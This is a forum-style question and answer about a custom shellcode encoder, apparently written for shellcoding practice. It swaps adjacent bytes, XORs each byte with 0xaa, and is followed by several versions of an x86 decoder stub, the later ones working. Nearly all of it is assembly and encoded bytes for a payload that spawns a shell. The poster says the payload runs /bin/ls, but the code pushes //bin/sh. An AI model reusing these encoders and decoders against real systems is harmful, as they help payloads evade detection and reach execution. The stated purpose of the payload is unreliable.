I have written a custom encoder which encodes my shellcode in this way:
First it reverses(swaps) all adjacent bytes in the original shellcode, and then it XORs each byte with value "0xaa" - I did all sanity check to ensure my original shellcode doesn't have this value, which might break my shellcode (by causing bad characters as a result of the encode). Output of my encoder:
Original Shellcode( 25 Bytes) :
0x31,0xc0,0x50,0x68,0x2f,0x2f,0x6c,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0xb,0xcd,0x80,
Step1(Reverse adjacent Bytes)-Encoded Shellcode( 25 Bytes) :
0xc0,0x31,0x68,0x50,0x2f,0x2f,0x73,0x6c,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0xb,0x80,
Step2(XOR-each-BYTE-with-0xaa)-Encoded Shellcode( 25 Bytes) :
0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,
My original shellcode's purpose: it just executes /bin/ls on Linux systems using the "execve" syscall. Full code:
global _start
section .text
_start:
; PUSH the first null dword
xor eax, eax
push eax
; PUSH //bin/sh (8 bytes)
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
In order to execute the shellcode I'm practicing how to write a decoder stub, which will decode my custom encoded shellcode, and then execute it on a target machine.
This is my decoder stub assembly code:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov cl, 12
jmp short call_decoder
; first : decode by XOR again with same value 0xaa
decode1:
pop esi
xor byte [esi], 0xaa
jz decode2
inc esi
jmp short decode1
; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
pop esi
mov bl, byte [esi eax]
mov dl, byte [esi eax 1]
xchg bl, dl
mov byte [esi eax], bl
mov byte [esi eax 1], dl
add al, 2
loop decode2
; execute Shellcode
jmp short Shellcode
call_decoder:
call decode1
; an extra byte 0xaa added at the end of encoded shellcode, as a marker to end of shellcode bytes.
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa
But above code gives me a segment fault
. I'm unable to find a failure point on gdb debugger
. Need some help on what I'm doing wrong.
CodePudding user response:
Based on comments made by @prl, these are the changes I did in my decoder stub, and now it works as expected:
global _start
section .text
; initialize registers
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov cl, 12
jmp short call_decoder
; set starting address of Shellcode in esi register
decoder:
pop esi
mov edi, esi
; first: decode by XOR again with same value 0xaa
decode1:
xor byte [edi], 0xaa
jz decode2
inc edi
jmp short decode1
; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
mov bl, byte [esi eax]
mov dl, byte [esi eax 1]
xchg bl, dl
mov byte [esi eax], bl
mov byte [esi eax 1], dl
add al, 2
loop decode2
jmp short Shellcode
call_decoder:
call decoder
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa
EDIT2 : A much concise and a better looking code - also no need to hardcode the length of Shellcode:
global _start
section .text
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
jmp short call_decoder
decoder:
pop esi
mov cl, codeLen
dec cl
decode:
cmp al, cl
jz last_byte_odd
xor byte [esi eax], 0xaa
mov bl, byte [esi eax]
xor byte [esi eax 1], 0xaa
xchg byte [esi eax 1], bl
mov byte [esi eax], bl
add al, 1
cmp al, cl
jz Shellcode
add al, 1
jmp short decode
last_byte_odd:
xor byte [esi eax], 0xaa
jmp short Shellcode
call_decoder:
call decoder
Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a
codeLen equ $-Shellcode
I leave it up to the low level
and shell-coding
enthusiasts, to decipher the logic.